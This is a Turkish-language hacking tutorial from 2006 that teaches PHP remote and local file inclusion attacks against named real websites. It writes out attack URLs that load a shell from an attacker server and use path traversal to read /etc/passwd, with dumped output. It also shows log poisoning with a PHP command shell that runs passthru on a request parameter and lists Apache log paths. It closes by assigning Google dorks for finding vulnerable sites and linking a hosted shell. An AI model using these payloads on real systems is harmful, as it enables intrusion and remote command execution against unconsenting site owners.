Selamlar,
Tekrar bir döküman ile karşınızdayım:) gene tamamen kendi ürünüm olup kimseden alıntı değildir:).
File inclusion yani dosya dahil
etme dediğimiz olay bir çok sistemde bulunan bir açıktır.Eğer mailling
listlere üye iseniz bu tarz açıklarla ile ilgili bir çok mesajın
olduğunu görebilirsiniz.
Bu tarz açıklar ile gerek remote (uzaktan) dosyaları mevcut aplikasyona dahil edebilir, gerek local (yerel) dosyaları dahil edebilirsiniz..
Peki
remote ile yerel arasındaki farkı nedir? Remote olan FI açıklarında
fazla uğraşmanıza gerek yoktur az biraz HTTP protokolü hakkında bilgi
yeterlidir (GET/POST Request yani İstekleri) kaldıki mevcut sistem bunu
direk olarak GET ile isteyeceğinden size sadece aldığınız hata mesajı
yeterli olacaktır.
Örnek bir hata mesajı yazalım:
http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP adresine giriyoruz.
http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP
Warning:
main(): php_network_getaddresses: getaddrinfo failed: Name or service
not known in /home/successt/public_html/order/index.php on line 20
Warning:
main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open
stream: Permission denied in /home/successt/public_html/order/index.php
on line 20
Warning: main(): php_network_getaddresses:
getaddrinfo failed: Name or service not known in
/home/successt/public_html/order/index.php on line 20
Warning:
main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open
stream: Permission denied in /home/successt/public_html/order/index.php
on line 20
Fatal error: main(): Failed opening required
'http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php'
(include_path='.:/usr/lib/php:/usr/local/lib/php') in
/home/successt/public_html/order/index.php on line 20
Gördüğünüz gibi sistem bizim SHELL.php nin sonuna que.php bindirmiş.
Bunu aşmanın 2 yolu mevcut:
1) Sunucumuzda que.php adında bir dosya oluşturup isteğimizi http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/ adresine girersek que.php yi zaten bindirdiğinden mevcut php shellimizi load edebiliriz.
2) Birazcık HTTP protokolünü bilmemizin yardımı ile daha pratik ve mantıklı olan "?" karakteririni isteğimizin sonuna koyalım.
http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP? ? bildiğiniz üzere extensiondan sonra gelip sunucuya bu dosya ile ilgili isteklerimizin neler olduğunu belirtmemize yarar.
Bu
şekilde aldığımız hata mesajları ile Remote File Inclusion yani Uzaktan
Dosya Dahili yapmamızı kolaylıkla yapabiliriz. Tabii ki bu tarz kolay
istekler karşınıza çıkmayabilir bunlarıda yorumlamak ve değerlendirmek
tamamıyla size kalmış bir şey ben size şuan balık tutmayı öğretiyorum
direk balığı vermem.
Peki remote yapamadık local file inclusion nasıl yaparız neyimize yarar?
LFI ile sistemdeki okuma hakkına sahip olduğumuz bütün dosyaları dahil edebiliriz.
Örneğin en basitinden herkesin bildiği: /etc/passwd nasıl dahil edeceğimizi gösterelim
http://www.et.byu.edu/ce/misc/misc.php?page=contact.php adresine girdik ve önce RFI denedik hiç bir şekilde shellimiz dahil edilmedi ve bir hata mesajı almadık.
Pratik olarak kafamızı çalıştırarak.
http://www.et.byu.edu/ce/misc/misc.php?page=/etc/passwd adresine giriyoruz.
tata sayfanın en üstünde dosyamız yüklendi.
root:x:0:0:root:/root:/bin/tcsh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh .. devamı
Gördüğünüz gibi sistemdeki kullanıcılar ve haklarını gördük.
Peki LFI nasıl geliştirilebilir?
http://www.tigran.ru/index.php?page=include/rezkost.php gibi bir adres bulduk ve http://www.tigran.ru/index.php?page=/etc/passwd denedik ve şöyle bir hata aldık
Warning: main(.//etc/passwd): failed to open stream: No such file or directory in /usr/www/www.tigran.ru/www/index.php on line 68
Warning: main(): Failed opening './/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.tigran.ru/www/index.php on line 68
Gördüğünüz gibi dosya veya klasör mevcut değil hatası aldık.
/usr/www/www.tigran.ru/www/index.php yolu üstünde ./ ile gelen sorguyu birleştirip dosyayı arıyor. ./ burada mevcut klasörü kapsamakta biz bu klasörün ana yoluna inerek / burdan etc klasöründen passwd dosyasını nasıl okuruz onu görelim.
Sayalım kaç klasörün üstündeyiz.
usr
www
www.tigran.ru
www
Toplam 4 klasörün üstündeyiz suan. O zaman ../ yani bir üst dizine gitmemizi sağlayan kısaltmamızı kullanalım.
http://www.tigran.ru/index.php?page=../../../../etc/passwd bu sekile getirelim adresi ve girelim gördüğünüz gibi 4 adet ../ kullandım ve karşımızda
# $FreeBSD$ #
root:*:0:0:Charlie &:/root:/usr/local/bin/bash .. ve devamı
Yerelden dosya dahil etmeyi dahada geliştirebiliriz.Bildiğiniz üzere eğer sistemde olmayan bir dosya isteğinde bulunursak bunları access_log veya error_log gibi dosyalara yazar.Bu dosyaların içine ufak php scriptleri nasıl enjekte edilir onu gösterelim.Bu yöntemde en büyük sorun bu log (kayıt) dosyalarının yollarını bulmaktır.
http://kurban/site/<?php phpInfo();?> gibi ufak bir php bilgisi gösteren kod yazıp istekde bulunduk.
Bu isteğimiz doğrultusunda eğer doğru kayıt dosyasının yolunu bulursak php bilgisini elde edebiliriz.
Ufak bir shell kodu verelim
<?php ob_clean();echo Selam!;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);} passthru($_GET[cmd]);echo Bitti;die;?>
Bu çok kullanan bir shell metodudur.
Olası kayıt dosyaları ise
/var/log/httpd/access_log
/var/log/httpd/error_log
/apache/logs/error_log
/apache/logs/access_log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
Bu yöntemleri geliştirmek tamamen elinizde.Sıra bu döküman ile ilgili ödeve geldi.
Google hacking sayesinde FI kullanarak shell çalıştırılan siteleri bulunuz.
Örnek arama:
inurl:site ext:php site:at Tipik bir abudik.php?site=xxx.php gibi dosya dahil eden siteleri arama metodu avusturya üstündekileri aramakta.
Örnek link:
http://www.schrofenstein.at/start.php?site=http://hometown.aol.com/yarivgiladi/musa.php?
Hazır shellim yok diyenlere
http://hometown.aol.com/yarivgiladi/lulz.php
lulz 2006©® Her hakkı saklıdır
Yorum Gönder